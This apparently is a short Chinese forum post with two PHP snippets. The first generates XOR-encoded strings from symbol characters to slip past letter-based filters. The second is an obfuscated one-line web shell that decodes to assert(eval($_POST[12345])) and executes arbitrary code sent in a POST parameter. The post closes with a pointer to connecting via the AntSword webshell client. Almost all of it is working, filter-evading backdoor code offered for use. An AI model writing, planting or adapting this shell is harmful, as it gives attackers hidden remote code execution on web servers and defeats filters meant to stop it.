[PHP] 纯文本查看 复制代码 <?php
// 将字符串转化成异或语句 从而绕过对英文字母的限制
function generateBasedString($targetString)
{
$chars = '1234567890~`!@#$%^&*()-_=+[{]};:\'",<.>/?';
$chars_len = strlen($chars);
$targetString_len = strlen($targetString);
$res_array = [];
for ($k = 0; $k < $targetString_len; ++$k) {
for ($i = 0; $i < $chars_len; ++$i) {
for ($j = 0; $j < $chars_len; ++$j) {
if (ord($chars[$i] ^ $chars[$j]) == ord($targetString[$k])) {
array_push($res_array, "('" . $chars[$i] . "' ^ '" . $chars[$j] . "')");
break 2;
}
}
}
}
$res = implode(".", $res_array);
return $res;
}
echo generateBasedString('$_POST');
?>
一句话代码:
[PHP] 纯文本查看 复制代码 <?php
$_=('8' ^ ']').('6' ^ '@').('!' ^ '@').('1' ^ ']');$__= '$_'.('0' ^ '`').('1' ^ '~').('3' ^ '`').('4' ^ '`').'[12345]';$___ = $_.'('.$__.');';
$_1 =('!' ^ '@').('3' ^ '@').('3' ^ '@').('8' ^ ']').('2' ^ '@').('4' ^ '@');
$_1($___);
?>
蚁剑链接:
|